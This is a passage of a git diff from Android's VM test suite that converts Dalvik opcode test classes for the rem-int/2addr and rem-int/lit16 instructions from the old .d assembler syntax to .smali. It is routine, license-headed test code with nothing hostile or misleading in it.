diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.d
deleted file mode 100644
index 0e5825c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_6.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       rem-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali
new file mode 100644
index 0000000..8eaddc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       rem-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.d
deleted file mode 100644
index 84c49ed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_1.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali
new file mode 100644
index 0000000..1ef0172
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.d
deleted file mode 100644
index 4cd1fe6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_10.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali
new file mode 100644
index 0000000..76aff8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.d
deleted file mode 100644
index a5d81e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_11.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       rem-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali
new file mode 100644
index 0000000..7b90eb5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.d
deleted file mode 100644
index 80cab63..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_12.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       rem-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali
new file mode 100644
index 0000000..6bdaf21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.d
deleted file mode 100644
index 2e40ee6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_13.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali
new file mode 100644
index 0000000..c0abf7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.d
deleted file mode 100644
index ebba20d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_2.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali
new file mode 100644
index 0000000..6ba3c23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.d
deleted file mode 100644
index 0b65731..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_3.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -3000
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali
new file mode 100644
index 0000000..34e736b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -3000
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.d
deleted file mode 100644
index 9b96729..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_4.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali
new file mode 100644
index 0000000..d51ff0e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.d
deleted file mode 100644
index 96218a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_5.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali
new file mode 100644
index 0000000..9f8df7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.d
deleted file mode 100644
index 9139eec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_6.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali
new file mode 100644
index 0000000..b02e0ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.d
deleted file mode 100644
index 9970a21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_7.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali
new file mode 100644
index 0000000..5771deb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
